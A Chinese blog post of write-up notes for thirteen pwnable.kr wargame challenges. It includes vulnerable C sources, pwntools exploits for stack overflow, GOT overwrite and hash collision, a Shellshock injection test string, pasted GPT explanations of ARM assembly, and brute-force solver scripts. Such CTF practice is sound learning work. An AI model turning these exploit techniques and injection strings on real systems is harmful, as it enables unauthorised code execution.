pwnable.kr做题笔记(一)

 

目录

第一题-fd

第二题-col

第三题-bof

第四题-flag

第五题-passcode

第六题-random

第七题-input2

第八题-leg

第九题-mistake

第十题-shellshock

第十一题-coin1

第十二题-blackjack

 第十三题-lotto


第一题-fd
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
        if(argc<2){
                printf("pass argv[1] a number\n");
                return 0;
        }
        int fd = atoi( argv[1] ) - 0x1234;
        int len = 0;
        len = read(fd, buf, 32);
        if(!strcmp("LETMEWIN\n", buf)){
                printf("good job :)\n");
                system("/bin/cat flag");
                exit(0);
        }
        printf("learn about Linux file IO\n");
        return 0;

}

很简单的题目,根据源码可以知道fd=0,就可以输入buf的值。然后再输入LETMEWIN\n便可以getflag。

后面加的4660也就是0x1234。直接传入参数就完事了。

第二题-col

查看源码

#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
        int* ip = (int*)p;
        int i;
        int res=0;
        for(i=0; i<5; i++){
                res += ip[i];
        }
        return res;
}

int main(int argc, char* argv[]){
        if(argc<2){
                printf("usage : %s [passcode]\n", argv[0]);
                return 0;
        }
        if(strlen(argv[1]) != 20){
                printf("passcode length should be 20 bytes\n");
                return 0;
        }

        if(hashcode == check_password( argv[1] )){
                system("/bin/cat flag");
                return 0;
        }
        else
                printf("wrong passcode.\n");
        return 0;
}

可以看到关键就在于

简单分析一下check_password函数就可以知道,其实就是那五个数想加等于0x21DD09EC。

但需要考虑,值不能超过20个字符啥的。也很简单,给他除以5除不尽。剩下的分一下就行。

def exp(): 
    pl = p32(0x6c5cec8) * 4 + p32(0x6c5cecc)
    p = io.process(executable='./col', argv=['col',pl])
    flag = p.recv()

    log.info(f"FLag={flag}")
    p.close()
    io.close()
exp()


io.interactive()

第三题-bof

这题才算(个人认为)pwn题吧。

下载附件,查看很简单。一看就是栈溢出。

动态调试一下,offset是多少吧。

可以看到第一个参数的位置是在这里的,0xffffcfc0

可以看到overflowme是从0xffffcf8c开始的。所以可以得到offset=0x34

def exp(): 
    pl = cyclic(0x34) + p32(0xcafebabe)
    sl(pl)
    
exp()

io.interactive()

getshell

第四题-flag

他自己都说是逆向题。

直接查壳,发现是upx。直接脱壳

再放进ida里面查看字符表,直接找到flag

第五题-passcode

直接放进ida里面,发现漏洞。这个两个应该使用的是地址而不是变量,类似于fmt。所以想着覆盖吧。前面输入了一次name,可以溢出

通过动态调试可以看到

发现name和v1的offset=0x60。检查保护,可以改got表

接下来就是正常的直接把printfgot表改掉就行了。

def exp(): 
    pl = b'a'*96+ p32(0x804A000)
    sl(pl)

    hack = str(0x80485e3)
    sl(hack)
    flag = io.recvall()
    log.info(f"flag={flag}")

    io.close()
    s.close()
    # io.close()
exp()


io.interactive()
第六题-random

随机数,这个没给种子,但默认是0或者1,直接gdb调试看看第一次值是多少就好啦

def exp(): 
    
    v5 = 0x6b8b4567
    v4 = v5^(0xDEADBEEF)
    sl(str(v4).encode())

    flag = io.recvall()
    log.info(f"flag+{flag}")
    io.close()
    s.close()
    # io.close()
exp()


io.interactive()
第七题-input2

这题感觉就是过滤+网络编程,只能说有点难度,网上很多解释我这里不多说

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc, char* argv[], char* envp[]){
	printf("Welcome to pwnable.kr\n");
	printf("Let's see if you know how to give input to program\n");
	printf("Just give me correct inputs then you will get the flag :)\n");

	// argv
	if(argc != 100) return 0;
	if(strcmp(argv['A'],"\x00")) return 0;
	if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
	printf("Stage 1 clear!\n");	

	// stdio
	char buf[4];
	read(0, buf, 4);
	if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
	read(2, buf, 4);
        if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
	printf("Stage 2 clear!\n");
	
	// env
	if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
	printf("Stage 3 clear!\n");

	// file
	FILE* fp = fopen("\x0a", "r");
	if(!fp) return 0;
	if( fread(buf, 4, 1, fp)!=1 ) return 0;
	if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
	fclose(fp);
	printf("Stage 4 clear!\n");	

	// network
	int sd, cd;
	struct sockaddr_in saddr, caddr;
	sd = socket(AF_INET, SOCK_STREAM, 0);
	if(sd == -1){
		printf("socket error, tell admin\n");
		return 0;
	}
	saddr.sin_family = AF_INET;
	saddr.sin_addr.s_addr = INADDR_ANY;
	saddr.sin_port = htons( atoi(argv['C']) );
	if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
		printf("bind error, use another port\n");
    		return 1;
	}
	listen(sd, 1);
	int c = sizeof(struct sockaddr_in);
	cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
	if(cd < 0){
		printf("accept error, tell admin\n");
		return 0;
	}
	if( recv(cd, buf, 4, 0) != 4 ) return 0;
	if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
	printf("Stage 5 clear!\n");

	// here's your flag
	system("/bin/cat flag");	
	return 0;
}

就一步步慢慢过就行,但是我当时遇到个问题,就是他本地不可以创建文件,就很烦。然后看了看网上的文章说可以上传到/tmp目录,但是呢!!!没找到人怎么上传,所以我在这里声明一下,省去读者查找,前面是本地需要上传的文件,后面是上传到服务器的路径。(shell我自己创建的目录)

最后gcc编译一下,再软链接一下就好了。打过pwn.college的人应该知道。

ln -s /home/input2/flag flag

最后得到flag

第八题-leg

这题是个异架构汇编题,但考的很简单

#include <stdio.h>
#include <fcntl.h>
int key1(){
	asm("mov r3, pc\n");
}
int key2(){
	asm(
	"push	{r6}\n"
	"add	r6, pc, $1\n"
	"bx	r6\n"
	".code   16\n"
	"mov	r3, pc\n"
	"add	r3, $0x4\n"
	"push	{r3}\n"
	"pop	{pc}\n"
	".code	32\n"
	"pop	{r6}\n"
	);
}
int key3(){
	asm("mov r3, lr\n");
}
int main(){
	int key=0;
	printf("Daddy has very strong arm! : ");
	scanf("%d", &key);
	if( (key1()+key2()+key3()) == key ){
		printf("Congratz!\n");
		int fd = open("flag", O_RDONLY);
		char buf[100];
		int r = read(fd, buf, 100);
		write(0, buf, r);
	}
	else{
		printf("I have strong leg :P\n");
	}
	return 0;
}

从源码中可以看出来就是算出来那三个key就完事了。

有一个leg.asm文件,这里直接放到文本编辑器打开就可以了。寄存器都是r开头多,就是arm架构下的

(gdb) disass main
Dump of assembler code for function main:
   0x00008d3c <+0>:	push	{r4, r11, lr}
   0x00008d40 <+4>:	add	r11, sp, #8
   0x00008d44 <+8>:	sub	sp, sp, #12
   0x00008d48 <+12>:	mov	r3, #0
   0x00008d4c <+16>:	str	r3, [r11, #-16]
   0x00008d50 <+20>:	ldr	r0, [pc, #104]	; 0x8dc0 <main+132>
   0x00008d54 <+24>:	bl	0xfb6c <printf>
   0x00008d58 <+28>:	sub	r3, r11, #16
   0x00008d5c <+32>:	ldr	r0, [pc, #96]	; 0x8dc4 <main+136>
   0x00008d60 <+36>:	mov	r1, r3
   0x00008d64 <+40>:	bl	0xfbd8 <__isoc99_scanf>
   0x00008d68 <+44>:	bl	0x8cd4 <key1>
   0x00008d6c <+48>:	mov	r4, r0
   0x00008d70 <+52>:	bl	0x8cf0 <key2>
   0x00008d74 <+56>:	mov	r3, r0
   0x00008d78 <+60>:	add	r4, r4, r3
   0x00008d7c <+64>:	bl	0x8d20 <key3>
   0x00008d80 <+68>:	mov	r3, r0
   0x00008d84 <+72>:	add	r2, r4, r3
   0x00008d88 <+76>:	ldr	r3, [r11, #-16]
   0x00008d8c <+80>:	cmp	r2, r3
   0x00008d90 <+84>:	bne	0x8da8 <main+108>
   0x00008d94 <+88>:	ldr	r0, [pc, #44]	; 0x8dc8 <main+140>
   0x00008d98 <+92>:	bl	0x1050c <puts>
   0x00008d9c <+96>:	ldr	r0, [pc, #40]	; 0x8dcc <main+144>
   0x00008da0 <+100>:	bl	0xf89c <system>
   0x00008da4 <+104>:	b	0x8db0 <main+116>
   0x00008da8 <+108>:	ldr	r0, [pc, #32]	; 0x8dd0 <main+148>
   0x00008dac <+112>:	bl	0x1050c <puts>
   0x00008db0 <+116>:	mov	r3, #0
   0x00008db4 <+120>:	mov	r0, r3
   0x00008db8 <+124>:	sub	sp, r11, #8
   0x00008dbc <+128>:	pop	{r4, r11, pc}
   0x00008dc0 <+132>:	andeq	r10, r6, r12, lsl #9
   0x00008dc4 <+136>:	andeq	r10, r6, r12, lsr #9
   0x00008dc8 <+140>:			; <UNDEFINED> instruction: 0x0006a4b0
   0x00008dcc <+144>:			; <UNDEFINED> instruction: 0x0006a4bc
   0x00008dd0 <+148>:	andeq	r10, r6, r4, asr #9
End of assembler dump.
(gdb) disass key1
Dump of assembler code for function key1:
   0x00008cd4 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cd8 <+4>:	add	r11, sp, #0
   0x00008cdc <+8>:	mov	r3, pc
   0x00008ce0 <+12>:	mov	r0, r3
   0x00008ce4 <+16>:	sub	sp, r11, #0
   0x00008ce8 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008cec <+24>:	bx	lr
End of assembler dump.
(gdb) disass key2
Dump of assembler code for function key2:
   0x00008cf0 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cf4 <+4>:	add	r11, sp, #0
   0x00008cf8 <+8>:	push	{r6}		; (str r6, [sp, #-4]!)
   0x00008cfc <+12>:	add	r6, pc, #1
   0x00008d00 <+16>:	bx	r6
   0x00008d04 <+20>:	mov	r3, pc
   0x00008d06 <+22>:	adds	r3, #4
   0x00008d08 <+24>:	push	{r3}
   0x00008d0a <+26>:	pop	{pc}
   0x00008d0c <+28>:	pop	{r6}		; (ldr r6, [sp], #4)
   0x00008d10 <+32>:	mov	r0, r3
   0x00008d14 <+36>:	sub	sp, r11, #0
   0x00008d18 <+40>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d1c <+44>:	bx	lr
End of assembler dump.
(gdb) disass key3
Dump of assembler code for function key3:
   0x00008d20 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008d24 <+4>:	add	r11, sp, #0
   0x00008d28 <+8>:	mov	r3, lr
   0x00008d2c <+12>:	mov	r0, r3
   0x00008d30 <+16>:	sub	sp, r11, #0
   0x00008d34 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d38 <+24>:	bx	lr
End of assembler dump.
(gdb) 

对照哪个源码分析。

直接让gpt分析什么意思吧,本人是个菜鸡所以汇编不太熟

当然,以下是对每个函数的详细分析,包括每一条汇编指令的作用。

### 函数 `main`

```assembly
0x00008d3c <+0>:    push    {r4, r11, lr}
0x00008d40 <+4>:    add    r11, sp, #8
0x00008d44 <+8>:    sub    sp, sp, #12
0x00008d48 <+12>:    mov    r3, #0
0x00008d4c <+16>:    str    r3, [r11, #-16]
0x00008d50 <+20>:    ldr    r0, [pc, #104]    ; 0x8dc0 <main+132>
0x00008d54 <+24>:    bl    0xfb6c <printf>
0x00008d58 <+28>:    sub    r3, r11, #16
0x00008d5c <+32>:    ldr    r0, [pc, #96]    ; 0x8dc4 <main+136>
0x00008d60 <+36>:    mov    r1, r3
0x00008d64 <+40>:    bl    0xfbd8 <__isoc99_scanf>
0x00008d68 <+44>:    bl    0x8cd4 <key1>
0x00008d6c <+48>:    mov    r4, r0
0x00008d70 <+52>:    bl    0x8cf0 <key2>
0x00008d74 <+56>:    mov    r3, r0
0x00008d78 <+60>:    add    r4, r4, r3
0x00008d7c <+64>:    bl    0x8d20 <key3>
0x00008d80 <+68>:    mov    r3, r0
0x00008d84 <+72>:    add    r2, r4, r3
0x00008d88 <+76>:    ldr    r3, [r11, #-16]
0x00008d8c <+80>:    cmp    r2, r3
0x00008d90 <+84>:    bne    0x8da8 <main+108>
0x00008d94 <+88>:    ldr    r0, [pc, #44]    ; 0x8dc8 <main+140>
0x00008d98 <+92>:    bl    0x1050c <puts>
0x00008d9c <+96>:    ldr    r0, [pc, #40]    ; 0x8dcc <main+144>
0x00008da0 <+100>:    bl    0xf89c <system>
0x00008da4 <+104>:    b    0x8db0 <main+116>
0x00008da8 <+108>:    ldr    r0, [pc, #32]    ; 0x8dd0 <main+148>
0x00008dac <+112>:    bl    0x1050c <puts>
0x00008db0 <+116>:    mov    r3, #0
0x00008db4 <+120>:    mov    r0, r3
0x00008db8 <+124>:    sub    sp, r11, #8
0x00008dbc <+128>:    pop    {r4, r11, pc}
0x00008dc0 <+132>:    andeq    r10, r6, r12, lsl #9
0x00008dc4 <+136>:    andeq    r10, r6, r12, lsr #9
0x00008dc8 <+140>:            ; <UNDEFINED> instruction: 0x0006a4b0
0x00008dcc <+144>:            ; <UNDEFINED> instruction: 0x0006a4bc
0x00008dd0 <+148>:    andeq    r10, r6, r4, asr #9
```

1. **`push {r4, r11, lr}`**
   - 将 `r4`, `r11`, 和 `lr` 寄存器的值压入栈中,用于保存函数调用前的状态。

2. **`add r11, sp, #8`**
   - 设置 `r11` 为当前栈指针加上 8。这通常是为了创建一个新的帧指针(frame pointer)。

3. **`sub sp, sp, #12`**
   - 为局部变量分配空间,栈指针 `sp` 向下移动 12 字节。

4. **`mov r3, #0`**
   - 将 0 赋值给寄存器 `r3`。

5. **`str r3, [r11, #-16]`**
   - 将 `r3` 的值(0)存储到 `r11` 指向的位置的偏移量 -16 处。

6. **`ldr r0, [pc, #104]`**
   - 从程序计数器 `pc` 加 104 字节的地址处加载值到 `r0`。这通常是用于访问代码中的常量或数据。

7. **`bl 0xfb6c <printf>`**
   - 调用 `printf` 函数,`bl` 指令用于分支并链接,保存返回地址到链接寄存器 `lr`。

8. **`sub r3, r11, #16`**
   - 计算 `r11` 减去 16,结果存入 `r3`。

9. **`ldr r0, [pc, #96]`**
   - 从程序计数器 `pc` 加 96 字节的地址处加载值到 `r0`。

10. **`mov r1, r3`**
    - 将 `r3` 的值复制到 `r1`。

11. **`bl 0xfbd8 <__isoc99_scanf>`**
    - 调用 `scanf` 函数,`r0` 和 `r1` 作为参数传递。

12. **`bl 0x8cd4 <key1>`**
    - 调用 `key1` 函数。

13. **`mov r4, r0`**
    - 将 `key1` 函数返回值存储到 `r4`。

14. **`bl 0x8cf0 <key2>`**
    - 调用 `key2` 函数。

15. **`mov r3, r0`**
    - 将 `key2` 函数返回值存储到 `r3`。

16. **`add r4, r4, r3`**
    - 将 `r4` 和 `r3` 的值相加,结果存回 `r4`。

17. **`bl 0x8d20 <key3>`**
    - 调用 `key3` 函数。

18. **`mov r3, r0`**
    - 将 `key3` 函数返回值存储到 `r3`。

19. **`add r2, r4, r3`**
    - 将 `r4` 和 `r3` 的值相加,结果存回 `r2`。

20. **`ldr r3, [r11, #-16]`**
    - 从 `r11` 指向的位置的偏移量 -16 处加载值到 `r3`。

21. **`cmp r2, r3`**
    - 比较 `r2` 和 `r3` 的值。

22. **`bne 0x8da8 <main+108>`**
    - 如果 `r2` 和 `r3` 不相等,跳转到 `0x8da8` 地址处。

23. **`ldr r0, [pc, #44]`**
    - 从程序计数器 `pc` 加 44 字节的地址处加载值到 `r0`。

24. **`bl 0x1050c <puts>`**
    - 调用 `puts` 函数。

25. **`ldr r0, [pc, #40]`**
    - 从程序计数器 `pc` 加 40 字节的地址处加载值到 `r0`。

26. **`bl 0xf89c <system>`**
    - 调用 `system` 函数。

27. **`b 0x8db0 <main+116>`**
    - 无条件跳转到 `0x8db0` 地址处。

28. **`ldr r0, [pc, #32]`**
    - 从程序计数器 `pc` 加 32 字节的地址处加载值到 `r0`。

29. **`bl 0x1050c <puts>`**
    - 再次调用 `puts` 函数。

30. **`mov r3, #0`**
    - 将 0 赋值给 `r3`。

31. **`mov r0, r3`**
    - 将 `r3` 的值复制到 `r0`。

32. **`sub sp, r11

但其实看不看得懂都不影响做题,只要知道那种函数再arm下返回值都是r0寄存器存储的, 

key1,0x8cdc+8=0x8CE4

key2,0x00008d04 + 8 + 4 = 0x00008d0c

key3,其中lr是返回地址,所以就是0x8d80

最后将他们三个数相加得到key=108400

第九题-mistake

有后门,直接看xor函数吧。

就是与1异或,直接输入十个1然后异或结果就是十个0。

 

getshell

第十题-shellshock

看一下源码就知道该怎么写了,其实。可以看到直接调用bash了。

直接使用

env x='() { :;}; echo TEST' ./bash -c :

证明它存在。

第十一题-coin1

这题,全英文用gpt帮我理解一下

要解决这个问题,你需要在有限的称量次数内找到那枚伪造的硬币。这个问题考验的是你的逻辑推理能力和优化称量策略的能力。通常情况下,使用**二分法**(或分组策略)是解决这种称量问题的最佳方法之一。

### 解决步骤:

1. **初始条件**:你有 `N` 枚硬币,并且有 `C` 次称量机会。

2. **分组称量**:
   - 每次称量时,你将硬币分成两组来称量(或者更多组,如果 N 很大)。
   - 通过比较每组的总重量,你可以确定哪一组可能包含假币。

3. **减少搜索范围**:
   - 每次称量后,你可以缩小可能包含假币的硬币数量。
   - 继续将包含假币的那一组再分组称量,直到找出假币。

### 例子演示:

假设有 `8` 枚硬币,且你有 `3` 次称量机会 (`N=8, C=3`)。

**第一次称量**:
- 把硬币分成两组,分别是 `0-3` 和 `4-7`。
- 选择 `0, 1, 2, 3` 四枚硬币称量,记下它们的总重量。
  - 如果总重量为 `40`(每枚硬币都是真币),那么假币在 `4-7` 中。
  - 如果总重量为 `39`,那么假币在 `0-3` 中。

**第二次称量**:
- 假设第一轮后怀疑假币在 `4-7` 中,再将 `4-7` 分成两组,`4, 5` 和 `6, 7`。
- 选择 `4, 5` 称量。
  - 如果总重量为 `20`,那么假币在 `6, 7` 中。
  - 如果总重量为 `19`,那么假币在 `4, 5` 中。

**第三次称量**:
- 选择最后一组中的单个硬币进行称量即可确认假币是哪一个。

### 通用策略:

- 每次称量后都将剩下的硬币数量减半,以最大化信息获取。
- 这个过程会随着硬币数量的减少而逐步缩小搜索范围,直到找到伪造的硬币。

### 数学分析:

在最坏情况下,解决该问题所需的最大称量次数 `C` 满足以下条件:

\[
2^C \geq N
\]

这意味着 `C` 次称量可以处理最多 `2^C` 枚硬币。

### 总结:

通过将硬币分组称量,你可以在有限的称量次数内逐步缩小假币所在的范围,最终确定那枚伪造的硬币。这是一种典型的分而治之的策略。

直接随便开一个机子,然后在/tmp里面创建一个py脚本打本地就行。

# python(2) solve.py

from pwn import *
import re

p = remote('localhost', 9007)
print(p.recv())

for i in range(100):
	N, C = re.findall("N=(\d+) C=(\d+)", p.recv())[0]
	N = int(N)
	C = int(C)
	print(N, C)

	start, end = 0, N-1

	while start <= end and C > 0:
		mid = (start + end) // 2
		x = " ".join([str(j) for j in range(start, mid+1)])	# build range list
		p.sendline(x)
		
		res = int(p.recvline()[:-1])
		if res % 10 == 0:
			start = mid+1	# through first half
		else:
			end = mid-1		# through second half
		C -= 1

	while C > 0:	# use all the tries
		p.sendline("0")
		p.recv(1024)
		C -= 1

	p.sendline(str(start))	# final answer
	print(p.recv())

print(p.recv())
第十二题-blackjack

这题好像是让我赚钱,没看懂随便写点数,就给他打通了。

 $ nc pwnable.kr 9009


              222                111
            222 222            11111
           222   222          11 111
                222              111
               222               111

CCCCC     SS            DD         HHHHH    C    C
C    C    SS           D  D       H     H   C   C
C    C    SS          D    D     H          C  C
CCCCC     SS          D DD D     H          C C
C    C    SS         D DDDD D    H          CC C
C     C   SS         D      D    H          C   C
C     C   SS        D        D    H     H   C    C
CCCCCC    SSSSSSS   D        D     HHHHH    C     C

                        21
     DDDDDDDD      HH         CCCCC    S    S
        DD        H  H       C     C   S   S
        DD       H    H     C          S  S
        DD       H HH H     C          S S
        DD      H HHHH H    C          SS S
        DD      H      H    C          S   S
     D  DD     H        H    C     S   S    C
      DDD      H        H     CCCCC    S     S

         222                     111
        222                      111
       222                       111
      222222222222222      111111111111111
      2222222222222222    11111111111111111


                 Are You Ready?
                ----------------
                      (Y/N)
                        y

Enter 1 to Begin the Greatest Game Ever Played.
Enter 2 to See a Complete Listing of Rules.
Enter 3 to Exit Game. (Not Recommended)
Choice: 1

Cash: $500
-------
|S    |
|  6  |
|    S|
-------

Your Total is 6

The Dealer Has a Total of 8

Enter Bet: $111111111111


Would You Like to Hit or Stay?
Please Enter H to Hit or S to Stay.
s

You Have Chosen to Stay at 6. Wise Decision!

The Dealer Has a Total of 11
The Dealer Has a Total of 14
The Dealer Has a Total of 17
Dealer Has the Better Hand. You Lose.

You have 0 Wins and 1 Losses. Awesome!

Would You Like To Play Again?
Please Enter Y for Yes or N for No
y
YaY_I_AM_A_MILLIONARE_LOL


Cash: $558039085
-------
|H    |
|  K  |
|    H|
-------

Your Total is 10

The Dealer Has a Total of 5

Enter Bet: $

应该是有溢出点,然后估计就是机组的知识了。

 第十三题-lotto

可以看到外层只要一次被命中,里层就执行6次正好满足条件了。他输的ascii要是1-45.

随便找一个吧

exp,如果本地打的很慢,可以上传到服务器上打。 

from pwn import *
context.log_level = "debug"

sh = ssh('lotto', 'pwnable.kr', password='guest', port=2222)
io = sh.process(executable='./lotto')

for i in range(10000):
	io.recv()
	io.sendline('1'.encode())
	io.recv()
	io.sendline('!!!!!!'.encode())
	_ , ans = io.recvlines(2)
	
	if "bad" not in ans.decode():
		log.success(ans.decode())
		break

最后得到flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值